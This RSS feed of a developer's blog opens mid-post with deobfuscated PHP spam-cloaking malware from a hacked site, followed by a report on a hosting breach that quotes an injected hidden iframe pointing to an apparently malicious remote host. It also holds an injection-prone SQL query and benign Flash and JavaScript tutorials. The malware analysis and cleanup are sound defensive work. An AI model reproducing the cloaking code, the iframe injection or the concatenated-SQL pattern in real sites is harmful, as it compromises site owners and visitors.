        $is_bot = true;
    if($_SERVER[&quot;HTTP_A&quot;]==&quot;b&quot;)
      foreach ($stop_agents_masks as $stop_agents_mask)
        if(@eregi($stop_agents_mask, @$_SERVER[&quot;HTTP_USER_AGENT&quot;]) !== false)
          $is_bot = true;
    return $is_bot;
  }

  function __php___memory_test() {
    if (!__php___memory_exists())
      return -1;
    $php__test_file = &#039;/path/to/web/root/www.jpg&#039;;
    $data = @file_get_contents($php__test_file); // PHP &amp;gt;= 4.3.0
    $data = @gzuncompress($data);
    $startPos = 0;
    $blocks = Array();
    $label = &#039;&#039;;
    while (false !== ($pos = strpos($data, &#039;&amp;lt;block_d6e4ce93cf082de43cd713fd8e62103b id=&quot;&#039;, $startPos))) {
      if ($startPos) {
        $blocks[] = substr($data, $startPos, $pos - $startPos);
      }
      $startPos = $pos + strlen(&#039;&amp;lt;block_d6e4ce93cf082de43cd713fd8e62103b id=&quot;1234567890&quot;&amp;gt;&#039;);
      //$label = substr($data, $pos + strlen(&#039;&amp;lt;block_d6e4ce93cf082de43cd713fd8e62103b id=&quot;&#039;), 10);
    }
    if ($startPos) {
      $blocks[] = substr($data, $startPos);
    }
    
    foreach ($blocks as $b) {
      echo __php_memory_diagnostics($b);
    }
  }
  
  function __php_memory_diagnostics($data) {
    $marker = &#039;==d6e4ce93cf082de43cd713fd8e62103b=&#039;;
    $len1 = strlen($marker);
    $len2 = $len1 + 1;
    $pos1 = strpos($data, $marker);
    $pos2 = $pos1 + $len1;
    if (false === $pos1 || false === $pos2)
      return -1;
    $pos3 = strpos($data, &#039;==&#039;, $pos2);
    if (false === $pos3)
      return -1;
    $num_lines = substr($data, $pos2, $pos3 - $pos2);
    //echo &quot;VARS: [$pos1] [$pos2] [$pos3] [$num_lines]\n&quot;;
    $pos4 = strpos($data, $marker . &#039;=&#039;, $pos3 + 2);
    if (false === $pos4)
      return -1;
    $hdr = substr($data, 0, $pos1);
    $ftr = substr($data, $pos4 + $len2);
    $data = explode(&quot;\n&quot;, trim(substr($data, $pos2, $pos4 - $pos2)));
    $data = __php___shuffle_by_seed($data);
    $data = array_slice($data, 0, $num_lines);
    return $hdr . implode(&quot;\n&quot;, $data) . $ftr;
  }
  
  function __php___make_seed($str, $count_r=3) {
    $seed = &quot;&quot;;
    $tseed = 0;
    for($i = 0; $i &amp;lt; strlen($str); ++$i)
      $seed .= ord($str[$i]);
    for($i = 0; $i &amp;lt; strlen($seed); ++$i)
      $tseed += $seed[$i];
    return $tseed;
  }
  
  function __php___shuffle_by_seed($ar, $srand_seed=null){
    if($srand_seed == null)
      $srand_seed = __php___make_seed($_SERVER[&quot;HTTP_HOST&quot;] . $_SERVER[&quot;REQUEST_URI&quot;] . 
md5($_SERVER[&quot;REQUEST_URI&quot;]));
    $ar_tmp = array();
    $i=0;
    while($i &amp;lt; count($ar)) {
      srand($srand_seed);
      $r = rand(1,count($ar));
      if (isset($ar_tmp[$r-1]))
        ++$srand_seed;
      else {
        $ar_tmp[$r-1] = $ar[$i];
        ++$i;
      }
    }
    ksort($ar_tmp);
    return $ar_tmp;
  } 
  __php___memory_test();  
}
}


__lambda_func();

&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
The short pseudo-code version would be:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;

if (is_in_list_of_spider_ip_addresses(remote_ip) || 
    is_in_list_of_spider_user_agents(remote_user_agent) {
    payload = load_payload_file_contents();
    payload = decompress_payload(payload);
    payload_shuffled = shuffle(payload);

    print payload_shuffled;
}
&lt;/pre&gt; &lt;br /&gt;
&lt;br /&gt;
Somewhat bafflingly, the list of IP addresses that the code treats as being spiders includes large ranges of addresses assigned to clients on Comcast, AT&amp;amp;T, and other ISPs. &lt;br /&gt;
&lt;br /&gt;
It&#039;s also curious that the attacker has chosen to write his own array shuffling code instead of using the native php shuffle() function. And to go a bit further, he re-seeds the RNG in every shuffle step. Gotta make sure those spam links are in a really random order! &lt;br /&gt;
&lt;br /&gt;
I am in little doubt that the code author is a native English-speaker due to the choice of function names, though I can&#039;t quite see why they have been given innocent-sounding names when the code itself was obfuscated.&lt;br /&gt;
&lt;br /&gt;
The code gives the attacker the ability to upload new payloads without having to alter the attack code. The modification date of the payload was later than the attack code, so it seems probable that the attacker has updated the payload at least once. &lt;br /&gt;
 
    </description>
</item>
<item>
    <title>Monstrous SQL query</title>
    <link>http://primesolid.com/blog/archives/Monstrous-SQL-query/</link>

    <description>
        I came across this SQL query in a web app I am pitching to replace. &lt;br /&gt;
&lt;br /&gt;
I&#039;m not going to name the guilty party, nor make any comments. &lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;
      SELECT
        0 as zero,
        ff.f_id as f_id, f.number, f.primary_ff_id, f.template, f.`order` as f_order,
          fi.id as fi_id, fi.datetime, fi.parent_fi_id, fi.`order`, fi.u_id,
  
          ff.type, ff.id as ff_id, ff.sub_id, ff.label, ff.desc,  ff.`order` as ff_order,
          ff.type, ff.name,

          IFNULL(t.tag, IFNULL(select_ffv.string, IFNULL(ffv.number, IFNULL(ffv.string, ffv.text)))) as value,
          ffv_value.fi_id as multi_fi, ffv_value.string as multi_value,

          ffp.key as ffp_key, ffp.value as ffp_value
      FROM f_fieldset f
  
        LEFT JOIN fi_item fi ON
          fi.f_id = f.id
          &quot;.($parent_fiid != 0 ? &quot; AND fi.parent_fi_id = &#039;&quot;.(strpos($parent_fiid,&quot;-&quot;)===false ? $parent_fiid : 0).&quot;&#039;&quot; : &quot;&quot;).&quot;
      LEFT JOIN ff_field ff ON
          ff.f_id = f.id
      LEFT JOIN ffp_param ffp ON
            ffp.ff_id = ff.id
      LEFT JOIN ffv_value ffv ON
          ffv.fi_id = fi.id AND
          ffv.ff_id = ff.id
      LEFT JOIN f_fieldset select_f ON
        ff.type = &#039;select&#039; AND
        select_f.id = ff.sub_id
      LEFT JOIN ffv_value select_ffv ON
        select_ffv.fi_id = ffv.number AND
        select_ffv.ff_id = select_f.primary_ff_id
      LEFT JOIN f_fieldset multi_f ON
        ff.type = &#039;multi_select&#039; AND
        multi_f.id = 1051
      LEFT JOIN fi_item multi_fi ON
        multi_f.id = multi_fi.f_id AND
        multi_fi.parent_fi_id = fi.id
      LEFT JOIN ffv_value multi_ffv ON
        multi_fi.id = multi_ffv.fi_id
      LEFT JOIN f_fieldset f_value ON
        f_value.id = ff.sub_id
      LEFT JOIN fi_item fi_value ON
        fi_value.f_id = f_value.id
      LEFT JOIN ffv_value ffv_value ON
        ffv_value.ff_id = f_value.primary_ff_id AND
        ffv_value.fi_id = fi_value.id AND
        multi_ffv.number = fi_value.id
      LEFT JOIN t_tags t ON
        t.id = ffv.number AND
        ff.f_id = 1013
      WHERE
        &quot;.($fid ? &quot;f.id = &#039;&quot;.$fid.&quot;&#039;&quot; : &quot;fi.parent_fi_id = &#039;&quot;.(strpos($parent_fiid,&quot;-&quot;)===false ? $parent_fiid : 0).&quot;&#039; OR f.id BETWEEN 1000 AND 1010&quot;).&quot;
      ORDER BY
        IF(
          IFNULL(f.`order`,&#039;user&#039;) = &#039;user&#039;,
          IFNULL(fi.`order`, 2000000000 + fi.id),
          IF(f.`order` = &#039;newest&#039;,
            4294967295 - fi.datetime,
            fi.datetime)
          ),
        ff.`order`
    &quot;
&lt;/pre&gt; 
    </description>
</item>
<item>
    <title>Send/Receive messages from Javascript to Flash</title>
    <link>http://primesolid.com/blog/archives/SendReceive-messages-from-Javascript-to-Flash/</link>

    <description>
        I needed to send and receive messages from javascript to a flash movie built in haXe. &lt;br /&gt;
&lt;br /&gt;
Googling showed references to Haxe&#039;s remoting class, but there&#039;s a much simpler (and possibly less robust!) way using flash&#039;s ExternalInterface class. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
First your going to need a reference to your flash movie. If you&#039;ve embedded it using flashembed (and you &lt;i&gt;are&lt;/i&gt; using flashembed, aren&#039;t you?), you can do it like this:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;
var movieObj;

$(document).ready(function() {
	var api = flashembed(&#039;background&#039;, {src: &#039;vid.swf&#039;, wmode: &#039;opaque&#039;, allowScriptAccess: &#039;always&#039;});	
	movieObj = document.getElementById(api.getApi().id); 
});
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
movieObj now contains a reference to the flash movie&#039;s DOM element.&lt;br /&gt;
&lt;br /&gt;
We can now send messages to the flash movie like this:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;
movieObj.pause();
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
OK, so far so good. &lt;br /&gt;
&lt;br /&gt;
Now we need to tell the flash movie what to do with these messages. &lt;br /&gt;
&lt;br /&gt;
In the flash actionscript, register the message with ExternalInterface, something like this:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;
import flash.external.ExternalInterface;

class Foo {
    
    public function new(){
        ...
        ExternalInterface.addCallback( &#039;pause&#039;, doPause );        
    }

    function doPause() {
        trace(&#039;got pause()&#039;);
    }

    public static function main() {
        new Foo();
    }    
    
}
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;i&gt;Et voil&amp;aacute;&lt;/i&gt;.&lt;br /&gt;
&lt;br /&gt;
Now to get it working the other way around, you can call any javascript function (your own, or a built-in function) like this:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;
ExternalInterface.call(&#039;jsFunctionName&#039;, &#039;argument&#039;);   
// eg:
// ExternalInterface.call(&#039;alert&#039;, &#039;Foo!&#039;);   
&lt;/pre&gt; 
    </description>
</item>
<item>
    <title>Update on Gradwell Hack</title>
    <link>http://primesolid.com/blog/archives/Update-on-Gradwell-Hack/</link>

    <description>
        Gradwell have updated &lt;a href=&#039;http://www.gradwellstatus.com/viewpost.php?id=154&#039;&gt;http://www.gradwellstatus.com/&lt;/a&gt; with the following:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;...
A further injection attempt was made this morning around 5:30, but this attempt was blocked by an on-call sysadmin before the exploit could fully deliver its payload.
&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
While this is no doubt true, the exploit was certainly able to deliver enough of its payload to infect all the code on my clients&#039; various accounts. &lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;The target for the exploit is our PHP 4.4 cluster, which we announced the end of life for a while ago. To keep our network secure for everyone we will be removing these servers from service by the end of this week (week ending Christmas day) and moving all users across to our PHP 5.2 platform.
...&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
The end-of-life for the 4.4 cluster was notified on 2009-10-01:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;The End of Life date for PHP 4.4 on our platform is Fri, 16 Apr 2010.
&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
A Gradwell sysadmin has posted on &lt;a href=&#039;http://groups.google.com/group/uk.net.providers.gradwell/msg/ce77f81067c69874&#039;&gt;uk.net.providers.gradwell&lt;/a&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;Once they had access to the PHP 4.4 application servers they had access to all home directories via. a local root exploit. 
&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
I&#039;m taking this to mean that clients should assume any data stored on the clusters has been compromised, and change passwords for FTP accounts, ssh access, mysql accounts, and also web application passwords stored in any databases on the cluster.  
    </description>
</item>
<item>
    <title>Gradwell Hacked</title>
    <link>http://primesolid.com/blog/archives/Gradwell-Hacked/</link>

    <description>
        I woke up this morning to find all my clients&#039; sites hosted at Gradwell have been hacked.&lt;br /&gt;
&lt;br /&gt;
A quick poke around on &lt;a href=&#039;http://domainsbyip.com/&#039;&gt;domainsbyip.com&lt;/a&gt; shows that many other sites hosted on Gradwell&#039;s cluster have been similarly altered. &lt;br /&gt;
&lt;br /&gt;
The hacker has added some HTML for a hidden iframe which points to a remote site. Presumably this site serves some sort of drive-by download attack.&lt;br /&gt;
&lt;br /&gt;
Here&#039;s the code that is either prepended or appended to all .php and .html files:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;
&amp;lt;iframe src=&quot;http://gaccess.dynsite.net/blog/wp-content/0wn3d/&quot; style=&quot;display:none&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
I cleaned up the files as soon as I noticed the attack with this one-liner:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;
 find . -name &#039;*.php&#039; -or -name &#039;*.html&#039; | xargs -n1 perl -pi -e 
&quot;s/\&amp;lt;iframe src\=\&quot;http\:\/\/gaccess\.dynsite\.net\/blog\/wp-content\/0wn3d\/\&quot; 
style\=\&quot;display:none\&quot;\&amp;gt;\&amp;lt;\/iframe\&amp;gt;//&quot; 

&lt;/pre&gt;&lt;br /&gt;
(NB: this should all be on one line)&lt;br /&gt;
&lt;br /&gt;
The files were re-infected an hour or so later. Re-infection seems to have stopped now.&lt;br /&gt;
&lt;br /&gt;
The attacker evidently has access to the entire home directory - not just the apache web root - as library files outside the web root were also affected. &lt;br /&gt;
&lt;br /&gt;
I reported the breach to support and am awaiting the outcome. &lt;br /&gt;
&lt;br /&gt;
Luckily for me, the Primesolid site wasn&#039;t affected as I no longer host it at Gradwell.&lt;br /&gt;
&lt;br /&gt;
There&#039;s a thread about this on &lt;a href=&#039;http://www.freak-search.com/en/thread/3508721/gradwell_sites_hacked&#039;&gt;uk.net.providers.gradwell&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Peter Gradwell says:&lt;br /&gt;
&lt;pre&gt;there must be some sort of exploit in apache itself so we are also looking at that, 
and it&#039;s permissions model.&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Update 2010-12-19 10:03&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
As Hoover says in the comments, Gradwell have been hacked again this morning.&lt;br /&gt;
&lt;br /&gt;
Exactly the same attack code has been added to all php and html files. Timestamps are updated to  2010-12-19 05:22.&lt;br /&gt;
&lt;br /&gt;
:-/ 
    </description>
</item>
<item>
    <title>Full page flash video background</title>
    <link>http://primesolid.com/blog/archives/Full-page-flash-video-background/</link>

    <description>
        One of my favourite clients  &amp;mdash; &lt;a href=&quot;http://crushed.co.uk/&quot;&gt;Crush Creative&lt;/a&gt; &amp;mdash; recently asked me if I could add a full page video background to a website.&lt;br /&gt;
&lt;br /&gt;
Obviously, it was going to have to be built in Flash due to the lack of support for&amp;#160; the &amp;lt;video&amp;gt; tag in IE.&lt;br /&gt;
&lt;br /&gt;
But I hate working in Flash. Don&#039;t get me wrong: I don&#039;t hate Flash itself, it&#039;s just that I hate the pointy-clicky-where-the-hell-should-I-put-the-code stuff. I guess that if I put my mind to it I could learn the Flash authoring environment, but it just doesn&#039;t really suit my development style, and I don&#039;t even have a licence for Flash and my evaluation period has expired.&lt;br /&gt;
&lt;br /&gt;
But I do have access to &lt;a href=&quot;http://haxe.org&quot;&gt;haXe&lt;/a&gt;, which is a programming environment which lets you write code to target the Flash Player plugin. And it&#039;s a &#039;proper&#039; programming environment: you type in text and compile it. Lovely.&lt;br /&gt;
&lt;br /&gt;
So I knocked up a &lt;a href=&#039;http://primesolid.com/crush/vid/vid&#039;&gt;proof-of-concept&lt;/a&gt; background flash video player in haXe, and it turned out to be remarkably simple.&lt;br /&gt;
&lt;br /&gt;
Here&#039;s the code:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;import flash.Lib;
import flash.display.Stage;
import flash.display.StageAlign;
import flash.display.StageScaleMode;
import flash.media.Video;
import flash.net.NetConnection;
import flash.net.NetStream;
import flash.events.Event;
import flash.events.NetStatusEvent;
import flash.display.LoaderInfo;

class Vid {
 
    private var mc : flash.display.MovieClip;
    private var myVideo : Video;
    private static var stage : Stage;
    private static var myNetStream : NetStream;

    // flashvars
    private static var movieUrl : String;
    private static var movieWidth : Int;
    private static var movieHeight : Int;
    private static var bufferTime : Int;
 
    public function new(){
        mc  = flash.Lib.current;
	stage = mc.stage;

        // get flashvars describing movie we&#039;re going to play
    	movieUrl = mc.loaderInfo.parameters.movieUrl;
    	movieWidth = Std.parseInt(mc.loaderInfo.parameters.movieWidth);
    	movieHeight = Std.parseInt(mc.loaderInfo.parameters.movieHeight);
        bufferTime = Std.parseInt(mc.loaderInfo.parameters.bufferTime);
 
	// set up the stage
        stage.align = StageAlign.TOP_LEFT;
	stage.scaleMode = StageScaleMode.NO_SCALE;
 
	myVideo = new Video();
	myVideo.smoothing = true;

        var myNetConnect : NetConnection = new NetConnection();
	myNetConnect.connect(null);

        myNetStream = new NetStream(myNetConnect);
        myNetStream.bufferTime = bufferTime;
        myNetStream.addEventListener(NetStatusEvent.NET_STATUS, checkNetstreamEvent);
	myVideo.attachNetStream(myNetStream);
 
	mc.addChild(myVideo);
        myNetStream.play(movieUrl);
        stage.addEventListener(Event.RESIZE, ResizeAndPosition);
        ResizeAndPosition(null);
      }

	function checkNetstreamEvent(e:NetStatusEvent) {
                // if we&#039;ve got to the end of the video, rewind it (ie, loop the video)
		if (e.info.code == &quot;NetStream.Play.Stop&quot;) {
			myNetStream.seek(0);
		}
	}

	function ResizeAndPosition(e:Event) {	
	        // resize and position the video to fill the stage without distortion
		var stageAspectRatio = stage.stageWidth / stage.stageHeight;
		var videoAspectRatio = movieWidth / movieHeight;

		if (stageAspectRatio &amp;gt; videoAspectRatio) {
			// stage wider than video
			myVideo.width = stage.stageWidth;
			myVideo.height = (myVideo.width / videoAspectRatio);
			// so we need to crop some height
			myVideo.y = -((myVideo.height - stage.stageHeight)/2);
			myVideo.x = 0;
 
		} else {
			// stager taller than video (or same)
			myVideo.height = stage.stageHeight;
			myVideo.width = (myVideo.height * videoAspectRatio);
			// so we need to crop some width
			myVideo.x = -((myVideo.width - stage.stageWidth)/2);
			myVideo.y = 0;
		} 
	}

    public static function main()
    {
		new Vid();

    }
}
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
When you embed the Flash movie, you need to pass the movie url and dimensions in the flashVars, something like this:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;
&amp;lt;html&amp;gt;
&amp;lt;script type=&#039;text/javascript&#039; src=&#039;http://cdn.jquerytools.org/1.2.5/full/jquery.tools.min.js&#039;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;style type=&#039;text/css&#039;&amp;gt;
body {
	margin: 0;
	padding; 0;
	background-color: #ddddd;
}

#background {
	width: 100%;
	height: 100%;
	z-index: 1;
}

&amp;lt;/style&amp;gt;

&amp;lt;script type=&#039;text/javascript&#039;&amp;gt;
$(document).ready(function() {
	flashembed(&#039;background&#039;, {src: &#039;vid.swf&#039;, wmode: &#039;transparent&#039;}, {
		movieUrl: &#039;ink.flv&#039;, // url to movie
		movieWidth: &#039;640&#039;, 
		movieHeight: &#039;480&#039;,
		bufferTime: &#039;10&#039;, // secs of video to buffer before starting to play
		wmode: &#039;transparent&#039; // need to set wmode to allow you to float html over the top
	});	
});
&amp;lt;/script&amp;gt;
&amp;lt;body&amp;gt;

&amp;lt;div id=&#039;background&#039;&amp;gt;&amp;lt;/div&amp;gt; 
  
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
Note that you won&#039;t be able to float HTML over the Flash movie on Android due to a &lt;a href=&#039;http://kb2.adobe.com/cps/860/cpsid_86018.html&#039;&gt;limitation in the Android Flash Player plugin&lt;/a&gt;:&lt;br /&gt;
&lt;blockquote&gt;&lt;em&gt;&quot;Flash Content is always displayed on top of all HTML content&quot;&lt;/em&gt;&lt;/blockquote&gt; 
    </description>
</item>
<item>
    <title>New Primesolid website</title>
    <link>http://primesolid.com/blog/archives/New-Primesolid-website/</link>

    <description>
        &lt;p&gt;So here it is: the new Primesolid website. &lt;/p&gt; &lt;br /&gt;
&lt;p&gt;I&#039;ve been meaning to get round to it for ages. It&#039;s been a case of the cobbler&#039;s children going unshod, but with a little bit of help from &lt;a href=&quot;http://www.neuelaboratories.com/&quot;&gt;Blam&lt;/a&gt;, I&#039;ve got it sorted, and now it&#039;s even got a blog.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; I&#039;m intending to post coding tips and tricks, and maybe links to cool code-related stuff. We&#039;ll have to see how it pans out really. I&#039;m really just hoping that it will turn out to be a place to give back to the community that has given me so much. &lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;em&gt;Hasta la vista!&lt;/em&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; &lt;/p&gt; &lt;br /&gt;
&lt;p&gt;C.&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; &lt;/p&gt; &lt;br /&gt;
&lt;p&gt; &lt;/p&gt; 
    </description>
</item>

</channel>
</rss>

